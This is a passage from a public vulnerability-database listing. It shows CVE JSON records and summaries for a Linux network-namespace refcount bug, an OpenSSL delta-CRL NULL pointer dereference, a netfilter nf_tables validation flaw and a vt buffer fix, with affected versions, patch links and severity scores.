0000000080050033\nCR2: 000055d7ed36fd18 CR3: 00000001482f6000 CR4: 00000000000006f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n ? show_regs+0xa3/0xc0\n ? __warn+0xa5/0x1c0\n ? refcount_warn_saturate+0xdf/0x1d0\n ? report_bug+0x1fc/0x2d0\n ? refcount_warn_saturate+0xdf/0x1d0\n ? handle_bug+0xa1/0x110\n ? exc_invalid_op+0x3c/0xb0\n ? asm_exc_invalid_op+0x1f/0x30\n ? __warn_printk+0xcc/0x140\n ? __warn_printk+0xd5/0x140\n ? refcount_warn_saturate+0xdf/0x1d0\n get_net_ns+0xa4/0xc0\n ? __pfx_get_net_ns+0x10/0x10\n open_related_ns+0x5a/0x130\n __tun_chr_ioctl+0x1616/0x2370\n ? __sanitizer_cov_trace_switch+0x58/0xa0\n ? __sanitizer_cov_trace_const_cmp2+0x1c/0x30\n ? __pfx_tun_chr_ioctl+0x10/0x10\n tun_chr_ioctl+0x2f/0x40\n __x64_sys_ioctl+0x11b/0x160\n x64_sys_call+0x1211/0x20d0\n do_syscall_64+0x9e/0x1d0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f5b28f165d7\nCode: b3 66 90 48 8b 05 b1 48 2d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 8b 0d 81 48 2d 00 8\nRSP: 002b:00007ffc2b59c5e8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f5b28f165d7\nRDX: 0000000000000000 RSI: 00000000000054e3 RDI: 0000000000000003\nRBP: 00007ffc2b59c650 R08: 00007f5b291ed8c0 R09: 00007f5b2961a4c0\nR10: 0000000029690010 R11: 0000000000000246 R12: 0000000000400730\nR13: 00007ffc2b59cf40 R14: 0000000000000000 R15: 0000000000000000\n \u003c/TASK\u003e\nKernel panic - not syncing: kernel: panic_on_warn set ...\n\nThis is trigger as below:\n          ns0                                    ns1\ntun_set_iff() //dev is tun0\n   tun-\u003edev = dev\n//ip link set tun0 netns ns1\n                                       put_net() //ref is 0\n__tun_chr_ioctl() //TUNGETDEVNETNS\n   net = dev_net(tun-\u003edev);\n   open_related_ns(\u0026net-\u003ens, get_net_ns); //ns1\n     get_net_ns()\n        get_net() //addition on 0\n\nUse maybe_get_net() in get_net_ns in case net\u0027s ref is zero to fix this"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:23:07.741Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/3a6cd326ead7c8bb1f64486789a01974a9f1ad55"
        },
        {
          "url": "https://git.kernel.org/stable/c/2b82028a1f5ee3a8e04090776b10c534144ae77b"
        },
        {
          "url": "https://git.kernel.org/stable/c/cb7f811f638a14590ff98f53c6dd1fb54627d940"
        },
        {
          "url": "https://git.kernel.org/stable/c/1b631bffcb2c09551888f3c723f4365c91fe05ef"
        },
        {
          "url": "https://git.kernel.org/stable/c/ef0394ca25953ea0eddcc82feae1f750451f1876"
        },
        {
          "url": "https://git.kernel.org/stable/c/3af28df0d883e8c89a29ac31bc65f9023485743b"
        },
        {
          "url": "https://git.kernel.org/stable/c/ff960f9d3edbe08a736b5a224d91a305ccc946b0"
        }
      ],
      "title": "netns: Make get_net_ns() handle zero refcount net",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40958",
    "datePublished": "2024-07-12T12:32:00.431Z",
    "dateReserved": "2024-07-12T12:17:45.593Z",
    "dateUpdated": "2026-05-12T11:55:48.230Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-28388 (GCVE-0-2026-28388)

Vulnerability from cvelistv5 – Published: 2026-04-07 22:00 – Updated: 2026-05-12 12:08

Title

NULL Pointer Dereference When Processing a Delta CRL

Summary

Issue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing. Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application. When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference. Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

Severity ?

No CVSS data available.

CWE

CWE-476 - NULL Pointer Dereference

Assigner

openssl

References

6 references

URL	Tags
https://openssl-library.org/news/secadv/20260407.txt	vendor-advisory
https://github.com/openssl/openssl/commit/602542f…	patch
https://github.com/openssl/openssl/commit/d3a901e…	patch
https://github.com/openssl/openssl/commit/a9d187d…	patch
https://github.com/openssl/openssl/commit/5a0b493…	patch
https://github.com/openssl/openssl/commit/59c3b31…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.6.0 , < 3.6.2 (semver) Affected: 3.5.0 , < 3.5.6 (semver) Affected: 3.4.0 , < 3.4.5 (semver) Affected: 3.3.0 , < 3.3.7 (semver) Affected: 3.0.0 , < 3.0.20 (semver) Affected: 1.1.1 , < 1.1.1zg (custom) Affected: 1.0.2 , < 1.0.2zp (custom)

Date Public ?

2026-04-07 14:00

Credits

Igor Morgenstern (Aisle Research) Igor Morgenstern (Aisle Research)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-28388",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-10T20:18:04.195701Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-10T20:18:43.095Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC CN 4100",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V5.0",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:08:59.931Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.6.2",
              "status": "affected",
              "version": "3.6.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.5.6",
              "status": "affected",
              "version": "3.5.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.5",
              "status": "affected",
              "version": "3.4.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.7",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.20",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1zg",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            },
            {
              "lessThan": "1.0.2zp",
              "status": "affected",
              "version": "1.0.2",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Igor Morgenstern (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Igor Morgenstern (Aisle Research)"
        }
      ],
      "datePublic": "2026-04-07T14:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: When a delta CRL that contains a Delta CRL Indicator extension\u003cbr\u003eis processed a NULL pointer dereference might happen if the required CRL\u003cbr\u003eNumber extension is missing.\u003cbr\u003e\u003cbr\u003eImpact summary: A NULL pointer dereference can trigger a crash which\u003cbr\u003eleads to a Denial of Service for an application.\u003cbr\u003e\u003cbr\u003eWhen CRL processing and delta CRL processing is enabled during X.509\u003cbr\u003ecertificate verification, the delta CRL processing does not check\u003cbr\u003ewhether the CRL Number extension is NULL before dereferencing it.\u003cbr\u003eWhen a malformed delta CRL file is being processed, this parameter\u003cbr\u003ecan be NULL, causing a NULL pointer dereference.\u003cbr\u003e\u003cbr\u003eExploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in\u003cbr\u003ethe verification context, the certificate being verified to contain a\u003cbr\u003efreshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and\u003cbr\u003ean attacker to provide a malformed CRL to an application that processes it.\u003cbr\u003e\u003cbr\u003eThe vulnerability is limited to Denial of Service and cannot be escalated to\u003cbr\u003eachieve code execution or memory disclosure. For that reason the issue was\u003cbr\u003eassessed as Low severity according to our Security Policy.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\u003cbr\u003eas the affected code is outside the OpenSSL FIPS module boundary."
            }
          ],
          "value": "Issue summary: When a delta CRL that contains a Delta CRL Indicator extension\nis processed a NULL pointer dereference might happen if the required CRL\nNumber extension is missing.\n\nImpact summary: A NULL pointer dereference can trigger a crash which\nleads to a Denial of Service for an application.\n\nWhen CRL processing and delta CRL processing is enabled during X.509\ncertificate verification, the delta CRL processing does not check\nwhether the CRL Number extension is NULL before dereferencing it.\nWhen a malformed delta CRL file is being processed, this parameter\ncan be NULL, causing a NULL pointer dereference.\n\nExploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in\nthe verification context, the certificate being verified to contain a\nfreshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and\nan attacker to provide a malformed CRL to an application that processes it.\n\nThe vulnerability is limited to Denial of Service and cannot be escalated to\nachieve code execution or memory disclosure. For that reason the issue was\nassessed as Low severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the affected code is outside the OpenSSL FIPS module boundary."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://openssl-library.org/policies/general/security-policy/"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "CWE-476 NULL Pointer Dereference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-07T22:00:52.382Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://openssl-library.org/news/secadv/20260407.txt"
        },
        {
          "name": "3.6.2 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/602542f2c0c2d5edb47128f93eac10b62aeeefb3"
        },
        {
          "name": "3.5.6 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/d3a901e8d9f021f3e67d6cfbc12e768129862726"
        },
        {
          "name": "3.4.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/a9d187dd1000130100fa7ab915f8513532cb3bb8"
        },
        {
          "name": "3.3.7 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/5a0b4930779cd2408880979db765db919da55139"
        },
        {
          "name": "3.0.20 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/59c3b3158553ab53275bbbccca5cb305d591cf2e"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "NULL Pointer Dereference When Processing a Delta CRL",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2026-28388",
    "datePublished": "2026-04-07T22:00:52.382Z",
    "dateReserved": "2026-02-27T13:45:02.161Z",
    "dateUpdated": "2026-05-12T12:08:59.931Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42070 (GCVE-0-2024-42070)

Vulnerability from cvelistv5 – Published: 2024-07-29 15:52 – Updated: 2026-05-12 11:56

Title

netfilter: nf_tables: fully validate NFT_DATA_VALUE on store to data registers

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: fully validate NFT_DATA_VALUE on store to data registers register store validation for NFT_DATA_VALUE is conditional, however, the datatype is always either NFT_DATA_VALUE or NFT_DATA_VERDICT. This only requires a new helper function to infer the register type from the set datatype so this conditional check can be removed. Otherwise, pointer to chain object can be leaked through the registers.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/40188a25a9847dbeb…
https://git.kernel.org/stable/c/23752737c6a618e99…
https://git.kernel.org/stable/c/5d43d789b57943720…
https://git.kernel.org/stable/c/461302e07f49687ff…
https://git.kernel.org/stable/c/efb27ad0594940384…
https://git.kernel.org/stable/c/952bf8df222599baa…
https://git.kernel.org/stable/c/41a6375d48deaf7f7…
https://git.kernel.org/stable/c/7931d32955e09d0a1…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 96518518cc417bb0a8c80b9fb736202e28acdf96 , < 40188a25a9847dbeb7ec67517174a835a677752f (git) Affected: 96518518cc417bb0a8c80b9fb736202e28acdf96 , < 23752737c6a618e994f9a310ec2568881a6b49c4 (git) Affected: 96518518cc417bb0a8c80b9fb736202e28acdf96 , < 5d43d789b57943720dca4181a05f6477362b94cf (git) Affected: 96518518cc417bb0a8c80b9fb736202e28acdf96 , < 461302e07f49687ffe7d105fa0a330c07c7646d8 (git) Affected: 96518518cc417bb0a8c80b9fb736202e28acdf96 , < efb27ad05949403848f487823b597ed67060e007 (git) Affected: 96518518cc417bb0a8c80b9fb736202e28acdf96 , < 952bf8df222599baadbd4f838a49c4fef81d2564 (git) Affected: 96518518cc417bb0a8c80b9fb736202e28acdf96 , < 41a6375d48deaf7f730304b5153848bfa1c2980f (git) Affected: 96518518cc417bb0a8c80b9fb736202e28acdf96 , < 7931d32955e09d0a11b1fe0b6aac1bfa061c005c (git)
Linux	Linux	Affected: 3.13 Unaffected: 0 , < 3.13 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.97 , ≤ 6.1.* (semver) Unaffected: 6.6.37 , ≤ 6.6.* (semver) Unaffected: 6.9.8 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:01:06.928Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/40188a25a9847dbeb7ec67517174a835a677752f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/23752737c6a618e994f9a310ec2568881a6b49c4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5d43d789b57943720dca4181a05f6477362b94cf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/461302e07f49687ffe7d105fa0a330c07c7646d8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/efb27ad05949403848f487823b597ed67060e007"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/952bf8df222599baadbd4f838a49c4fef81d2564"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/41a6375d48deaf7f730304b5153848bfa1c2980f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7931d32955e09d0a11b1fe0b6aac1bfa061c005c"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42070",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:19:46.237204Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:08.190Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:22.328Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/net/netfilter/nf_tables.h",
            "net/netfilter/nf_tables_api.c",
            "net/netfilter/nft_lookup.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "40188a25a9847dbeb7ec67517174a835a677752f",
              "status": "affected",
              "version": "96518518cc417bb0a8c80b9fb736202e28acdf96",
              "versionType": "git"
            },
            {
              "lessThan": "23752737c6a618e994f9a310ec2568881a6b49c4",
              "status": "affected",
              "version": "96518518cc417bb0a8c80b9fb736202e28acdf96",
              "versionType": "git"
            },
            {
              "lessThan": "5d43d789b57943720dca4181a05f6477362b94cf",
              "status": "affected",
              "version": "96518518cc417bb0a8c80b9fb736202e28acdf96",
              "versionType": "git"
            },
            {
              "lessThan": "461302e07f49687ffe7d105fa0a330c07c7646d8",
              "status": "affected",
              "version": "96518518cc417bb0a8c80b9fb736202e28acdf96",
              "versionType": "git"
            },
            {
              "lessThan": "efb27ad05949403848f487823b597ed67060e007",
              "status": "affected",
              "version": "96518518cc417bb0a8c80b9fb736202e28acdf96",
              "versionType": "git"
            },
            {
              "lessThan": "952bf8df222599baadbd4f838a49c4fef81d2564",
              "status": "affected",
              "version": "96518518cc417bb0a8c80b9fb736202e28acdf96",
              "versionType": "git"
            },
            {
              "lessThan": "41a6375d48deaf7f730304b5153848bfa1c2980f",
              "status": "affected",
              "version": "96518518cc417bb0a8c80b9fb736202e28acdf96",
              "versionType": "git"
            },
            {
              "lessThan": "7931d32955e09d0a11b1fe0b6aac1bfa061c005c",
              "status": "affected",
              "version": "96518518cc417bb0a8c80b9fb736202e28acdf96",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/net/netfilter/nf_tables.h",
            "net/netfilter/nf_tables_api.c",
            "net/netfilter/nft_lookup.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.13"
            },
            {
              "lessThan": "3.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.97",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.37",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.97",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.37",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.8",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: fully validate NFT_DATA_VALUE on store to data registers\n\nregister store validation for NFT_DATA_VALUE is conditional, however,\nthe datatype is always either NFT_DATA_VALUE or NFT_DATA_VERDICT. This\nonly requires a new helper function to infer the register type from the\nset datatype so this conditional check can be removed. Otherwise,\npointer to chain object can be leaked through the registers."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:26:23.938Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/40188a25a9847dbeb7ec67517174a835a677752f"
        },
        {
          "url": "https://git.kernel.org/stable/c/23752737c6a618e994f9a310ec2568881a6b49c4"
        },
        {
          "url": "https://git.kernel.org/stable/c/5d43d789b57943720dca4181a05f6477362b94cf"
        },
        {
          "url": "https://git.kernel.org/stable/c/461302e07f49687ffe7d105fa0a330c07c7646d8"
        },
        {
          "url": "https://git.kernel.org/stable/c/efb27ad05949403848f487823b597ed67060e007"
        },
        {
          "url": "https://git.kernel.org/stable/c/952bf8df222599baadbd4f838a49c4fef81d2564"
        },
        {
          "url": "https://git.kernel.org/stable/c/41a6375d48deaf7f730304b5153848bfa1c2980f"
        },
        {
          "url": "https://git.kernel.org/stable/c/7931d32955e09d0a11b1fe0b6aac1bfa061c005c"
        }
      ],
      "title": "netfilter: nf_tables: fully validate NFT_DATA_VALUE on store to data registers",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42070",
    "datePublished": "2024-07-29T15:52:34.061Z",
    "dateReserved": "2024-07-29T15:50:41.168Z",
    "dateUpdated": "2026-05-12T11:56:22.328Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35823 (GCVE-0-2024-35823)

Vulnerability from cvelistv5 – Published: 2024-05-17 13:23 – Updated: 2026-05-12 11:52

Title

vt: fix unicode buffer corruption when deleting characters

Summary

In the Linux kernel, the following vulnerability has been resolved: vt: fix unicode buffer corruption when deleting characters This is the same issue that was fixed for the VGA text buffer in commit 39cdb68c64d8 ("vt: fix memory overlapping when deleting chars in the buffer"). The cure is also the same i.e. replace memcpy() with memmove() due to the overlaping buffers.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/fc7dfe3d123f00e72…
https://git.kernel.org/stable/c/ff7342090c1e8c5a3…
https://git.kernel.org/stable/c/1ce408f75ccf1e25b…
https://git.kernel.org/stable/c/0190d19d7651c08ab…
